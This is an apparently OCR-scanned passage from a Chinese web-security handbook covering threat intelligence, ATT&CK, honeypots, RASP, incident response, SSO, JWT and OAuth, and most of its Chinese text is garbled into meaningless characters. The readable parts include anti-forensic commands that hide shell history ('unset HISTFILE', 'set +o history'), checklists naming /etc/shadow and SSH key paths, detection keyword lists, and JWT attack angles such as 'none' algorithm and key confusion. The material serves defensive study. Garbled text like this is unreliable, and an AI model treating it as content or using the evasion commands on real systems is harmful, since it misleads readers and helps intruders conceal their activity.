f.l» (CCDCOE, Cooperative Cyber Defence Centre of Excellence) #F4FE28p—1K . “ME R HEEE
1224 (DHS) 325, 2006 4EF-4R, RFHFERIT—IK.

A APT Sl E, SOOI AR BHCRT, TV 14 J8, A MB<rFAR. 5 APT 3t BRiE—, BHT
BT EE, TATRGE

7.2.3 ME

Al 25 2 T AR N B IHR S BN A LR, WA 7 s (i i SRR A ], (R O A Tl o

&2 O S P SR PR ) 2542 S 2 9 22 Al , — AN KORTESGE AT A g I 2 B, Ay 45 Bl
55 Z G0 B MBI 22 XU

MNP AT H SR, T2, sk, oSS . MESEHMER, ZIH BRIk
POk 55 AR BB A bR e AR BARRME A, PUAZCE s g SRR R, — Bk Bl 0%
AL TG T . ZLEXTUN B A2 e E SRl HONRBTIAE T . R E . ML ERE

7.2.4 B%r

o VEABUABIBIAE S AR SRR AR R 0 5 R LR R T 5

o I B S R S TS0 SR A% PR SRy 24 ) R AT s P TEEE Pl 45 56 ), R 2 448 BRI S Bl
KA T4 AR ROI

o PR T LA AR S HAS I A B e 1 e

7.2.5 midfERE

o ALK

o EMITHA]

o BARGEELIE

o BRGZIARI KR
o TR R A

o BT
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— Bobve g
— 5 RG R
— B
— HMuL/ = Mgy e
— Dy st g
o kg EHER
— W55 RGE AR
— kg5 R R
— Mssanka
— W4 /1P Huhk
— M55 v 1
— JAs
— RGHEALE
— FFRIESR
— iR
— Bl
- JHEA
— fEAS
o BRVHEHA
— WHAIE
— WA
— [EFRAS
— IP ik
— WREOE
- THEA
o AN
o AM/E IS BTG R
— )RR
- RGATR
- RGERA
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— IP/URL $iiht
— WENLE
- SEA
. VNS
- JREERE TR
— FH=J7EHIEA G
PUESHEBH
— BLTH R U
— RS AR AT 2
— I XU HE AT
— Wt
7 S M B4
AV 55 EESEHE TR
FMEVRIZ VTR

7.2.6 1TEhRE

o Bl
— WIREAGER . W H AR, R RSE
— e SRR
— frEsA- S P
o Hrilidhdy
— A ZRNR R XA Y
— R HAERE N
— FRMYGE TP SRR
o HrilivEnk
- WA A B
— FEBRPTA R AL ]
— PTG S MR
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7.2.7 FEEmM

o WAHTEA T A

o AATRES SR V55 ARV I A0 1 V20 3
I Al 55 VEE B A G R THRB A
EplTEAEZN

p=y

7.2.8 SR
o DATCAERH A E ZE R
o 7 PP Red Teaming for Cloud

o LT i Gr 2 Al il AR A v

1.3 R&FXK
7.3.1 &N

AT A A (Security Development Lifecycle, SDL) Je i th i M 2 42y s BESR A AR 01T R 0t
PR HREGEC. HTRIT 2N SR E R e e G DR, FRARTT A .

732 £§

Breg 1: 3l

T 5 P BA B BT AT I R R 3% 52 1 i e il 1 MR R e s S5 RAFEIF RN B DA B
WHZH ., AR

M 2: REREFEK

TEDT AL Z B, 5 SR AT E A K, B AT E], RO B g 2 42 R R i SR A

BB 3: it

TEBCVT i BOHf E A BT B2 0l 5 I8 H 3 MBI MR LE UGt . 275 RE D/ NI T
Xt R T R, PR AT RER H R BGEAWREE T T, 2% E H PR O 5 E A TS A IR
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Mrex 4: sc3

THG BRI L E TR AR, S iras b .

THI T 225 RIS A NG A s . BERGAR S A X THATBE S ML 22 R A IR, TR A
M TRBA L, F5 2R A5 % 4 P A T4 -

PREOT T R B TR 8 R AT R E LA RR, PSS AN L s o APT, (122 BAHERR Y
PREL
RIS AN R TR se i, HEPR 5 N Tahisic.

BrEx 5: I8

Brukpr B K B SR AT AN BGE AT . SIS IS AT TR T, AR AR BN &
FEIA o A 2 i B P R P 5 LA S A sl AL RS A 4 3 T B A

B BRI H 25 2 N R oR A AR DL G A A B AR A —E, IR AR H 5 I RO B
BB AT e AR 18, Rt B s A T 20
Bk 6: K

TEREIY AT, T ZEX LA f AT RN, 75 BB 18 B 2 4 R (i Ak ) X
73 ANUIR T it PP L 5 B =0 AR, R S T AR I R R A 5 = MRS | AT

7.3.3 &EHE

e SDL Practices

e Threat Modeling

1.4 REEBIX

7.4.1 SEHEE
7.4.2 RLEE

o WHYEN L ams’s by Bk Kk
o MRZAZE by BL KK
o FATREZADERAERI A by BH

o BRI L AIZEZ K by A

o UL RBUHEKMN I 2i4: SDL AR B3tk
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o EREA: i CISO AN ANBF:
BXEENY) CISO [N FLERHAF: F O 2 B Mk 2 it
HHFR & 42158 by lake2

o /NBRIE, PREEI: LaEImE g ARRE

gl

7.5 EhIRIR

7.5.1 @&

FERE

B A Pt & 7w 1 A GUGRE R M S Bt XA PR i, — ARG TR DR SRR
Yabioiik. @i as, IRV E. TERXX A vy, B e E MRS, TR BRI A AN
5 @UEIR (Threat Intelligence) WiziMiA: .

E X

BUER (Threat Intelligence), WAHFRIEZ 2 EH (Security Intelligence). Z4 @i ME R (Security Threat

Intelligence).

KT B E XAMRE , —Boedg N LR A, 5 R 2% 25 A A R E R U A
Wl al . Bah Pk, Bl BARE R, PAKORT T g b sl 0 A IR o 1 SO BB B AL FE 1 41
1) /1S SV’ /iy A DL N CIE Al o/ R S S U 1 e ST AN 07 N 5 S N SR A= 11

— BB R A R BGEE . R Bl PR W DO B RSE
FESEHT ] AR R BB VR, AE b A A i 0] DAV B EA A A LY., A2 )5 T AR 23 A

5 LB I 268 U 41 i 95 A R A BOVERM A AT . A SRR IR B € i atse . &Rl AT
Mr. SERPECREA. FEHIKA . SRk, Db A 4% .

TR SR, R ENRFMR) T5H BAE Systems Applied Intelligence. Booz Allen. RSA. IBM.,
McAfee. #1478, FireEye %,

7.5.2 HxXEZ
#re (Asset)

XHHAEA HHER S S, BTN, 507 AR B
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Bl (Threat)

RERS I I AR . BOR . $aER . BB SR BEAE IR 55 0 R GEs UBTE A F AR, BB aT d gy 3
& (B . BEJ7. BEUR. bl AR, RTREMERS R FR MR 2

Me55tE / iRiA (Vulnerability)

T R L R Y St TV S B
RS AN, BIFR e 2 DR Rk ik 3 R0, 15 AL A 2 T IR M o . B
ARG, IRt BUAETFIEE K SRy, HE4 4 PoC ANRIAAN S 0. 732 5 th 3L E 2 TR
TERA RS, TS5 T2 U 2 BT F BB, R A A2

R (Risk)

JRUM ) 577 B — 2 B ) I 55 PR L LA i A T TR PT

22 EH (Event)

JRUH A P BT B W 5 1 I 52 B A FE T R R 5

7.5.3 1HHRKR

N T BUE AR AR, &G E TR AR HERI G . ERA R, SEEBIBBUMNFRIES .

BT EZRAN, g% AR, B0 7. CERT. JF&EHX., 24k, WiRfEEsmn. 2
KT AR RIS QRS

7.5.4 EIEMHEZS

FO BT 5200 T 1A SR AE 2 o A I e A - B T AR ERESE (Cyber Kill Chain Framework), MITRE [
ATT&CK #HEZE (Common Knowledge base of Adversary Tactics and Techniques). ODNI ) CCTF HEZE
(Common Cyber Threat Framework , /4 3: 0 25 g IEZE) , PA K NSA ) TCTF HEZE (Technical Cyber Threat
Framework, $AM: M 25 BIMES) .

7.5.5 BEHEE

e Executive Perspectives on Cyber Threat Intelligence
e Cyber Threats: Information vs. Intelligence

o SRS B A
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https://www.darkreading.com/analytics/threat-intelligence/cyber-threats-information-vs-intelligence/a/d-id/1316851
https://www.freebuf.com/column/136763.html
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7.6 ATT&CK
7.6.1 &

MITRE /&35 BUR 9 B ) — FFRA, %A ET 1958 M MIT 4p ik, &35 T2l mil
HIH . HP Tk FAA 53l 6l 248 AWACS WL G R RS . MITRE 7835 [ [ R brifE AR
FUH (NIST) BYBEHI R A T R M 24 A Sl i

MITRE f£ 2013 4E#EH T ATT&CK™ R B4 FRE Adversarial Tactics, Techniques, and Common
Knowledge (ATT&CK), ‘B — M TESCH 3 LA KA A TG v B B B BRI . 5 2 R et
TR SN, FFX BRI T IS BSORFN B, i i T LA HEFE A B S5 A A i 3Rk 0
(STIX). #EFnEERAI{E A (TAXIT) RFom. HT M FRA Y 2 3 T Tk & A Yoty Y 28 )
R MBAT R, BT R E S AR A . ORI AR A . 2 TSGR . PEAL A
FEFPIEGE ST B RS BRI AT

B ATT&CK [k :

MITRE’ s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) is a curated,
—knowledge base and model for cyber adversary behavior, reflecting the various phases

—of an adversary’ s attack lifecycle and the platforms they are known to target.

F1 Kill Chain SAAH LG, ATT&ECK (AR AR—L8 , H2 3P 3 i F1) AN 2cs PR 3 5 . MITRE
A, Kill Chain 4 RAEE IR AT MY, (R JErs A AR T2 MO 170

Hul ATT&CK #EB- =%, 512 PRE-ATT&CK, ATT&CK for Enterprise(fd## Linux. macOS.
Windows) il ATT&CK for Mobile(f2#5 i0OS. Android), A PRE-ATT&CK 78 35 W4 A 00 mi B
B (iggifgs, aetyzt), ATT&CK for Enterprise 783 Wik 550 5 TANHr B (Bifrie sk, Wi A . 228
A i 53EH. Hbrikn), ATT&CK Matrix for Mobile FEZ4 X4 80°F- 5

PRE-ATT&CK WEHAA LGS L FEER. R, KIMes R, b tf i 26, d@r
MAESF RSO . AN GRIT %, #Arfedr. Maliesr. B

ATT&CK for Enterprise (WiFHAG VTG, AT, WEE. $AL Piaalee. D5 FeuE. KB, fim
2o NIVE SN 6 O S Bt

7.6.2 TTP

MITRE 7£E X ATT&CK i, @& T —HxgExT 4 HH (Groups). ¥4 (Software). AR (Techniques).
A (Tactics).

HA Al AU SOARFIER A, A SEBeAR, BORSEES A . Bt APT28(4H4) (] Mimikatz(3ff) i55] T
IRIFE SRR SR (BEAR) SEI T AR P AURE SR B (AR) . BATGEST N PR TTP, 2R,
A, dREMES.
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7.6.3 SEE

Mitre ATT&CK

Adversarial Threat Matrix

MITRE ATT&CK: Design and Philosophy

ATT&ECK — ity ] il

Cyber Threat Intelligence Repository expressed in STIX 2.0
sigma Generic Signature Format for SIEM Systems

caldera Automated Adversary Emulation

RTA Red Team Automation

7.7 PSR

7.7.1 ERRE
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— )i R

— Tl AR
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|

- IEE
R

- AR

- BEREX
HL R

]

— ITHIRIE
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https://attack.mitre.org/
https://github.com/mitre/advmlthreatmatrix
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https://bbs.pediy.com/thread-254825.htm
https://github.com/mitre/cti
https://github.com/Neo23x0/sigma
https://github.com/mitre/caldera
https://github.com/endgameinc/RTA
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0

7.7.3 SEHHIE

o APP JH /1 ST
—IP
- BRI RS
— A APP FRHHVS & APP
— Root 7
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7.7.4 285

o SRR R 7
o BRI LA N FR BRI

7.8 BHHEHESR

7.8.1 BHTHINE

MR, BT AT PR . B2 Zamfz . Rz, M2 MHZILZ . RIURARTEZ)Z %
PEAHFARHR AR

R

YRR SR Y e fidge b, (AR AEE EEACE . WERYBR RN Y, RS s YT B
geid LIZB.

HigE

BT GRIRZA AR, Bah i) AR T E 8 8, R Pt BB A mdn . 5
S ESIRIbE

LKimE

Lt s PC. FHL. ToT VASHABAY R REBL AT, JEA M 258 1) A i 2 15 ] {5 7 2R )AL

R4E

BAE ARG TE R b, W RERAAERAL. AR ) < A

LR

W 28 2 B AR AR R 2 B VTSR LA R ok, KRR E RO PMSGHEA TR . 282474 MITM, DDoS %
Yiitro

N B

R B2, R E] Web B AR 4 R it o
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http://doc.cocolian.cn/essay/risk/2016/12/18/risk-2-database/
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7.8.2 ipmiEHl

Web [ J 5 2 FR A Fo0d I R 7 BB A S BE A D7 0 - DABJS 1R P R AT I« 5 IR 42 ) s R T DA 23
MR SR R R 45 R = A7

8 EAL 1

WML E— R A U7 A B R — A e AR TR, B2 B E 1 A R R
web [V TSR AR, RIH PR s — N AR, W RS B A R . ERA TR LR
A REFF R, FEAS I LA 5 T B IS MIE B 2 P05 Fed A, A Pl A RS

SiREE
Y SEREA RO R, YRR R AN YRR R AR AL BRI — R 8 3k B BRSSP R . KR
P2 MRS IE RN — N ME—PER) token SRR I,

XU KU, ST AL BT token B 224tk FERSMEOLT . —AXrali & wl AR 832 1Y
BRUR PR Web [ HRER o X A 00 al BEA JLRRE A, H—2 token LAY FIRAYBRIE , (Ef I e
G EHADT Y token; HTU2 token JZEALBRIN T IARIBRIE, BT T RES P HABIT P token.

e

AT TR 64 B fe— AP 2 A R X T A S A SR VR R A2 . SR T A LR AR IR, R
2 R R R B 32 B TR R B R RG id, A sk P Bl SR T i sh A s 25 )
ERR 1R8] T HRAL

M T U AS S A et X A B OB B B8 T F AR . T3 R P & 5 3 A e A LA
A BRAERBs, RLR R TIG TR L R R S REAY T I P AR A

7.8.3 AL
%t Web [ I SCEE5 0 B R TS, & S8 T %N B A B TR . F, X
TR IR 2 A MR AP — A S S TR 2 8 A PA— 22 A 0y AL BT P A

B AR I T RE S BAE— AR A S BERAL A Ty, S A BRI 5 o XX A B
AU T A ER . WAL AR LR SR, B, iduk. AREE

Rap

PRA AL BRI BN FEBGE Ty T — & i BT B, L PP A AT P BC R4 B R

R, XA FOR PN AR R 3 ERCAPIANRIN, M Web B g~
R IR T DA FIAR 22 S [ ) o AR BRI i A RT AR BN ) B PASS PO [l B 5 98
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H IR R A BARAEA WS R, A A AR RO TR IR 28 2L A BT 7 VAN FT BB 1 44 B FELAY

B&g

H B S — RPN TR . e — AR LU BT & 2RI A o XA AL SO IF PR HC 4% B R
FE 12 SMRAE AT . 3 Ay ORI HEBCA R, B2 it

i

IR MR EE P N ZERN TR, ETEdRd g E w230, I 2R,
A Ak B i A RAE T R 5

L2 EBIHIE

w2 web BIAR i ) B2 R0 PSR B B R AN i ik A B . AE—2EIR LT, A7
FE 24 B iR D5 TR R Sl A A, BN, SQL 3 A el e 1L T g iy X8, XSS ARy
0L T BB e Bl -

7.9 MMEHEE

7.9.1 FAKIRE

o KA RGRAS

TR 25 B E DT IP/MAC 44 8
TR AR 7 G
KA EI R S5

IR R

o TCE S

KM ICMP [a] 3

7.9.2 RERG

Linux
o LHHFP/H P dAfed
o BN KA

o gy
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— /etc/login.defs

— /etc/pam.d/system-auth

o SOOI A P

— Jetc/passwd
— Jetc/shadow
— ~/.ssh/
— /var/log/messages
— /var/log/secure
— /var/log/maillog
— /var/log/cron
— /var/log/spooler
— /var/log/boot.log
H& 2 &t
R AN T
JFRLA K
— Jete/init.d

Ky RS

Windows

AR 4

=Rl

i R 55 M A

M R G0 H &

g

— WEOSHP

— BHE AR EERR
— WE N E U

228 EMET

I FE

33 S
&

B2 PowerShell H &

FEIEL B SR SCPRRY T BRI T
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— ade, adp, ani, bas, bat, chm, cmd, com, cpl, crt, hlp, ht, hta, inf, ins, isp, job, js, jse, Ink,
mda, mdb, mde, mdz, msc, msi, msp, mst, pcd, pif, reg, scr, sct, shs, url, vb, vbe, vbs, wsc,

wsf, wsh, exe, pif
o BRUIZ P wseript BIJag

— bat, js, jse, vbe, vbs, wsf, wsh

. B
— BRI AR AR
— 3 8 /ISR 0
— WD B R BRI P A
7.9.3 MM
FTP

o EEIFEMESE
o &4 Banner

MySQL
o XMFERURICE
o MPBRAEE
o HEREEM
o AR EOHT

7.9.4 Web dhjg)¥

Apache

o AT R
o AR BT

o EE HTTP i
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K] Trace

2% || server-status
AR/

F SRR

el AV ES
e ALVFSI H 5%

H G HC

Wi E I IR ] B DoS

ARME SR e P

— httpd.conf
— access.log

— error.log

Nginx

o SN HTTP Zhin

1S

5 H Skt P
A L ) T
Hie BB IR R[] B DoS

JUAS R f b

H A He .

F P A
ASP.NET IZhRER &

Wi E R IR ] B DoS

JBoss

jmx console fir &

web console Jit &
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Tomcat

o IS HTTP A
o SILFIHE

o 2|} manager JJfig

o NP BRI E

o PR

o JiCE IR BT DoS

7.9.5 FLEEHREE

o REERDT 8 4545
o RAFEFEAT I
o R T AR ALE T 34

7.9.6 BE5HEE

o awesome windows domain hardening

e customize attack surface reduction

7.10 AfRtE

7.10.1 IDS 5 IPS

IDS 5 TIPS 2% WP s, TPS #HXF IDS AR EAET, IPS il # H AT FHLIbTE

7.10.2 ERANRR

o Web Af%

o HERS AR
7.10.3 YWsis=scIp
B Pigs

o M PRI E SO
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W4 ELF SCPRse it b
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rootkit Iz
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— MR
7 Hh DR Hi 4%
ET inotify # SR
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FLT 9 24 J2 1T B e ) ORI, A4 Snort &

BESH

FFENRG LR E/BIERE. Hfﬁuémbi
—AG—EE, EaETRNER A EETLSE

7.10.4 BE5E

Ml Ze 4tz HIDS

T IR P Al A ARG I 552 8 45
EEEYN RIS

Web H &% 4 HT Z 5055

Web H #2450 Hrikik

W4 2481t IDS/IPS fl— S8
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711 F5ERE

7.11.1 &5

o REEPHREFEILM SO

7.12 FEREAK

7.12.1 4
HER N B F IR, HI AL A, S HrRlie s A8, HBcA a5 ERE, FrA A/
BHE PR PURE T SEE BT, AT ALCR Y SR T i

FEHEAT ASE BN BO 1 S A, SRS TRAT I SR A Bl AR P VR R, T AR B KR
AR A RE O H R URAD . SRECH RS, NI T30 m IR R . 70 SN T AT B
FRRFIE], ST JSONP 2577 ORIt Y E 8

HR B L R, RBCA MR, RO BT Bt .

7.12.2 433
He AN, BEREVT ASN T BB RER B . BRI B RO ) TR A M S i, AR X
W77, AR E LG 2 Atk 7 it B 1 B T B I m ol it

IR, BT DAY R RS BN o S L RS BRI 45 IR 55 Wi S AN B B S L, 4
Sy iRy, (HR B RE Ty AN, X UGERERAE Ty ANk . RS A 2 f] FRAS UL DL SR
%, MHRERMEESCH RS, (AR B AR B AR (B i S0 T B 8 A 24 AP E e e R Y
A RENE

7.12.3 REERAR

BT MBI RORROR, 2 MBI M55 D5

FEHEZ RN RRE, BOREHEZ (BN R IERERUR, SR SRR . (R RS . DO RIS A S
BOR, TR a5 EAT Dh e B ket AR S AR R A% . BRSO he, REE G
BRI R AR i) SO

7.12.4 AR

Bt s A TR BRI R AR R B, il — L LU HAD WL A RE EL
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B, MESERG B WXL, BT BRI RS RIFER . WAL BEPFER
fib. FFIRIESF AR

i SEELIR A

TR B E SR I AR A UL SR S LRSS R B, AT RASE AR E S R Y R R R B T
PR B VSO SRR AR AT B o 5 AR TR, T AT X 7 14 A S A k15 Ay 2

VR B A A R P RN AR Y S L, T DA ek R e R A TR B

TR B AN IR AT R R [ IEFE BRI R, AT RASE 1o I RRRFAE A ) B -

IMEIHE

TR R P4 . RS IEE , BONAFGE . BERE N S SRR A AL B AL, AT DA e iy R
A A

7.12.5 &5k

e honeypot wiki

e Modern Honey Network

o BRLPHL: X

o EHES MMM 0 ] 1

o AT IR TSNS A W 2

7.13 RASP

7.13.1 &4y

RASP (Runtime Application Self-Protection) H Gartner fF 2014 4E5| A, =—FN HERZEFPR A,

7.13.2 &5

&

e OpenRASP
e Micro Focus

e Prevoty
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o waratek

e OWASP AppSensor
e Shadowd

e immun

e Contrast Security

e Signal Sciences

e BrixBits

o Python RASP T Ffb—IR AMZRI T

o iR RASP $IRIP; 2 Hefilif

7.14 R 2m R

7.14.1 WHRIFE
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7.14.2 EHp3

o WTE. ORI, EEHUEF
« Web 55 ax AR FAF
o BEHRFARFE
o REARTE
— FIH Windows Jsi Bl #1E R 5E
o MgIlE
— DDoS / ARP k¥ / DNS #4534

7.14.3 3HFME
X5

o JETAARRIS B

- B

— U

— I S
A

— KPR

— 2% WebShell 2517
R4 H &
W H &5

— /r#f User-Agent, e.g. awvs / burpsuite / w3af / nessus / openvas

— X RE I T EBE LR, e.g. select/alert/eval
— BESR, S 404 B 500

o mdSsum A AEH Ay S “HEHISCOFG A, AR BAEA rootkit
HBESHT
o FFOT UL PR R

— CPU SiA77 S b K IS )i 1
— WHEARIEFER
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— B R E B R
— UERERBR A BA

o dump RFENIFHAT T
o IEAEIBTTHYBERR

o IEAEIBTTHIARSS

o SCHERRAN TR

o Ja B ATRET IR SE R G A
o TR MR

o BITEEYIEHAIETE B SNs TR AR T

o ITRIMLS

SHER
o ARHBPA SIS
o SRS RIL
o ARPRERR A 4

BESH

o FRERAGIIC R

RIL& 534
o B KHRTCE
« DNS fitg
o BEHIBCE
o WEWT CURIAE 2RSS
o BCITHTH 2 TR
« RDP / VPN / SSH %2xi%

BB

o #F Linux SE Z&Ji &
o HENGELR
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o BEREAEEMEMERSEKMER, SAM i
o NAZHEHRL
7.14.4 Linux Ry S0E R

X5

o IRALfEAISCE

— find / -ctime -2

C:\Documents and Settings\Administrator\Recent

C:\Documents and Settings\Default User\Recent
— J%UserProfile’\Recent
o REEH LB
— /var/log/
o WA HTILE
— /var/log/wtmp BiRHEA, B, HdELcH. KHAME R
— /var/run/utmp £ XY HE R T HIE BICT
— /var/log/lastlog UM e xmfE e, W lastlog Ay KA
— /var/log/secure LB ARGAFIEIRR S, Bl pop3/ssh/telnet /ftp SFHR IR
— /var/log/cron 5iE LSS H KA HG(HE
— /var/log/message F4L/H 505 HI1E BAIHR H &
— /var/log/apache2/access.log apache access log
— Jetc/passwd Jil F1HI|FE
— /etc/init.d/ FFHLEBHIA
— /etc/cronx SEMES
— /tmp Il H 5%

— ~/.ssh

RPs

+ /etc/shadow FHGEfiliAH XA B
o uptime #r & H B i [A]
e /etc/sudoers sudo ff] %13
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HIES
* netstat -ano ALAEGFTH T A EE
o W, AHM AR
o SMHTIFBLE BRT /A
— /etc/init.d
— ~/.bashrc
o A RISOERHMTESS
— crontab -1

e netstat -an / lsof & BEALNG I 5

7.14.5 Windows [ &[0

X5

o IRULEAISCE
— C:\Documents and Settings\Administrator\Recent
— C:\Documents and Settings\Default User\Recent
— Y%UserProfile¥\Recent

o RGEHEN B
— F{FEF AR eventvwr.msc

RS

o HARREABIEMT

o BERFAHREAEHIS

o PFE UG Y B

o lusrmgr.msc &M AR,

o net user i Y FE I

« wmic UserAccount get #4247 & 45 A M -

HESH

e netstat -ano FF AT H T ] 5Eum
o tasklist AEEEA 1 BEHAE
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o SHIFHLE R

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
— (ProfilePath)\Start Menu\Programs\Startup J 3}
— msconfig BEafikUIR
— gpedit.msc HRME IRt
o HARVRISOERHES
— C:\Windows\System32\Tasks\
— C:\Windows\SysWOW64\Tasks\
— C:\Windows\tasks\

— schtasks

taskschd.msc

compmgmt .msc

o HANIRS
— services.msc
BESH
o AR
— eventvwr.msc
Hit

o BH ARG
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7.14.6 SEHEE

o BEANRN ST TH

o JUIEATT web f

o Windows FRG57% 4 SR 20 by
o APZE A Y S .

e Technical Approaches to Uncovering and Remediating Malicious Activity
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SFRIIRMG, HIEFILA BRI, AT RARRBHC SR AR AR R, . 5 ST DARE R BT IR S5 BRI
Xt W 25 RE Y 2 1

BB EREAR

TEVGE RS ARl HARERCRGERIIATS , AT DABE % ph e 0 AJRAEOR 75 DCC 2 Bt i e 3l
B bR, XAJ7AFE DDoS Mrtb i b LA R, HIMAET RN

ARz RAR

8BRS VAR LI e 2R B Tz ety R A BRI i ek T AR D G R S A A N A B R . X
o SETAREM TS, SPREMTFTF KR D XM A —Ish, SXTM%EE T
.

ETafiEEsEREAR
XA B B AT, AR EE AL R, e e AR A T EA . XA A
TN, SRR G AT, (FR R RS SRR A AT«

EFREM I AT A TRIPAR SRR, A5 i DA SR R S A TR, Bl R B 2 R I T
.
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7.15.2 SyHiHER
#4558 (Kill Kain) %)

AGEEX ARSI B EFA, B —MHARTGEIR IS, — R A U A RS (Reconnais-
sance), BAst 7 (Weaponization), s (Delivery). i (Exploitation). Z-3 45 A (Installation),
HfE¥EH (Command&Control), kA HAR (Actions on Objective) & JLAHTEL,

TERSCR R A RE R I L UG, B ROR B, A SR AR & th vl DA R B A g

AR B, St 0 0 S R AR 57 5Ok R RE) FL B Sat A. AE/h BE T D)
ML FLEAPHT PRSI BTSSR BB, SO B T AR I BN 507 SR Bt .

A Bt B E AW A T It TR, ST SR PEROBC, 2B B DS T R et i
e, ANRIREA. MRS T R A . el & 2 BN ATFEGE TR, & —sEhE 4
FFE.

AL B R SRR . 0, KL WA, U S R s B . SR 2
N GAERE R T TG, 45 ST S 02 A T DAL — S R

R B B ST PR SR S BRI AR IF BRI, MR DA 27
P STy 5 SR SR B RO -

YA BB # B A AE web RS54 %% Webshell sRHLAEI] . rootlis 4555 BUAIRS5 RIS A
il TDAIEAPREAE T TR A

B Bl D 9 T BB HE, AR Th & Web =y ol DNS BRI H0ESE Ty sCRzE
W5 BT . BT DAL RY H b7 5Bk FR 1A T3

POR FBRTEEN , S E TSR T, TR RAERET . SR E AR, BRI, B
B . MM SR T A AT il B0 e i R T, BB DA P 5 Uy ke %L

$¢h/8 (Diamond) {&E!

B ARAL ol 28 S R AT -5 BT FE F0 (The Center for Cyber Intelligence Anaysis and Threat Research,
CCIATR) ¥lI Sergio Catagirone 2 AFE 2013 4FHEH .

GRS A )2 AP (Event) 70 A UAMZOITER, BIRLT (Adversary), fEJ) (Capability), B:filiii
(Infrastructure) Fl5Z2E# (Victim), PABEELREFCMNIZEMXR, FMdMmg R “Bifgd.,

ADTHER R 2 R Ul I B ARk AN T AR, T At AR 2R R U T U I G T B S A
AT B 1 0ty Pk

FERE AR AT, SR SOR T T 20 SO (Pivoting) f85E—AI0E, HAMTZICR 5%
TEARSS G A% BUAR SETC R A T AR . 3 v i) RABB B A2 4663 i, DU DARHAE DA B B A R AFAE. (R B
. BOR) HRATRERCA 2 IR 23T SR
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7.15.3 XEX5H A&

KR TAEZ A R BEEAE AR S A .

B =E

e hash
e ssdeep

o WAEE (AHE/MEE /BB UEE QI R /55 A SRR
TASH

o HETMEAT A
— R H T

AT IS T

. BRI
o BRI /Y
. PDB i

— RIS
. feHSE

— AR T B

7.15.4 FEBAEFEFR

e kill <bash process ID> N&fifi
e set +o history ANEH AN Ll
* unset HISTFILE jf[k[f SC kYRS &
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CHAPTER 8

NEAL ]

8.1 SSO

8.1.1 &t

FLGEE SR (SingleSignOn, SSO) i a] PA L B —9 ID FISEUE (FETS) D7 M2 A AR o7 /Y
FYE.

wRRE

L I (User) [R5 424ER (Service Provider) AR
2. SP #EE M User £ SSO Bk 4 (Identity Provider)
3. User sl IP %5f
4. IP IR FEUESY User
5. User ¥LUEL S SP
6. SP 3R [m] Z LRI BT LA
HA B VAT R
o BRHEMES
o FEUFR) S
o ERmHH
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— S I IE]
e =GRl
8.1.2 TIRERMI M /IR
SRt
# SP AN IP Z i SCedmfa L, T RE S B
this

URAEE (R B X B (S S TR, B i

8.2 JWT

8.2.1 &t

Json web token (JWT), J&>hy 11 M 2% B BRI5E 0] 14 12 75 B I Sh AT B9 — AP BT JSON ByIFishsifE ((RFC
7519). % token FBI1 g LA, FEHIE T 0l U BB SR (SSO) Hste JWT (i
BOHAAE D AR BRI S5 RO AL B AL P S R, DABET A BEURAR 55 R AR IUER, AR mT LAY
IN—$EAN e 55 R FT LT P HIE R, 1% token BRI EHAUH THAIE, WAl gomis .

8.2.2 ¥R

I RZAERSY, 43314 header /payload /signature, H:H header 275 I RGSEAURIN & ) E 1% . payload
BN, &Gl HMAC (base64 (header) +base64 (payload), secret)

8.2.3 L2 (0
Header #R4%

o JEM SCRHMEMEIRN none/XIFR AN

. MRS

o HAHRFER

o kid FBOEEHA SQL A/ A/ Hsrili [y
o jwk LR AHE

o e R B 2 B R
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Payload ZR4%y

o HA 2 ERURE R

o faAE NS, AN exp , iat

Signature &5

o KA o R A AR A
o PR LAREY
o e R DA I H AT AU B

Hith
o ik
T 1 I PR T 14 s V) 5k i) e
B RS256 k) HS256
BER LRl g

8.2.4 BEHEE

¢ Critical vulnerabilities in JSON Web Token libraries

8.3 OAuth

8.3.1 &

OAuth @— PR THZAL (authorization) WTFHIMZEARIE, FE4ttFAGEZ MM, HAIHIRAZ 2.0 B

OAuth 1EZ 5 IR A5 s 7], BB T — A2 (authorization layer). % /i AN REELHE R S5 i, H
BESESRAZAZ , PSR P S0 i XA TP o 20 i SR B2 RUZ BT B (token ), 5 1 B RN [ o
JH P AT A B SR - 15 S ARUZ 2 AN SR A 28]

i S SRBAUR LA IS5 SR < RELAUAN SRYE B A 80N, 1 & s IO P AR SR

OAuth 2.0 & X T AT R BAREELR, (authorization code). fijfb#z (implicit). BT, (resource
owner password credentials) FI% itz (client credentials),
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8.3.2 2

o HAPITIFE P RAG, &R BRI P4 T AL

o MBS TR A

o B _E— AR, LR 55 A% O 2
o NIEARSEN P TAIEAG . A TeiR, [ A
o B, 1 BRI S5 A IR

o BRI IS SIASRRICER, AR A B P i T B

8.3.3 IRAELIRK
BRI (authorization code) RUIREMSER: . WURHR“ R BERBIR . & HO4E SRR PO I5 2
Weds 2, SIS IR IS5 B0 30
SR
o FHPUEE P, R S EGER S 2
o FHPRR T T PR

o MRBIH A THRAL, IEMR S SR 0 P i S f E /7 FE [ URL” (redivection URL), [}
Bff_E A

o BPUICEIEAY, P ERSER” EE R URL,  [IIAGEAR S5 4% H 34 i

o IMNIEIRSS#31ZXF T HAUS M E E 0] URL, #HIATCIRIG, i &5 15 48 (access token) FIE Hr
A (refresh token)

A BB, B Pum AR URL, A& AT 24
o response_type: FI/RFALEAL, WPEI, HALRIEREH code
o client id: FIRE Y ID, Wperi
o redirect_uri: F/REEN URIL, W30
o scope: P HITEIANBRIEE, AT 3Em
o state: FIRKEFUGHARPRE, FESHEE, Biik CSRF
B

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https’3A%2F
—%h2Fclient¥2Eexample’,2Ecom%2Fcb HTTP/1.1

Host: server.example.com

C 2, Mssasml & Py URL, WA N S8
